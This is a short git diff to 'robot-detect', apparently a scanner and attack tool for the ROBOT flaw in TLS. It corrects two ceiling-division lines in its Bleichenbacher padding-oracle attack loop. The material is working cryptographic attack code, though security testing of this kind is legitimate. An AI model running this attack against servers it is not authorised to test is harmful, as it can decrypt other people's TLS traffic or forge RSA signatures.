diff --git a/robot-detect b/robot-detect
index 5e05f0f..0cf5226 100755
--- a/robot-detect
+++ b/robot-detect
@@ -366,7 +366,7 @@ while True:
     # find pairs r,s such that m*s % N = m*s-r*N is PKCS conforming
     # 2.a)
     if i == 1:
-        s = N // (3 * B)
+        s = -(-N // (3 * B))
         cc = (int(gmpy2.powmod(s, e, N)) * c0) % N
         while not BleichenbacherOracle(cc):
             s += 1
@@ -385,7 +385,7 @@ while True:
         a, b = M.pop()
         M.add((a, b))
         r = 2 * (b * s - 2 * B) // N
-        s = -(-(2 * B + r * N // b))
+        s = -(-(2 * B + r * N) // b)
         cc = (int(gmpy2.powmod(s, e, N)) * c0) % N
         while not BleichenbacherOracle(cc):
             s += 1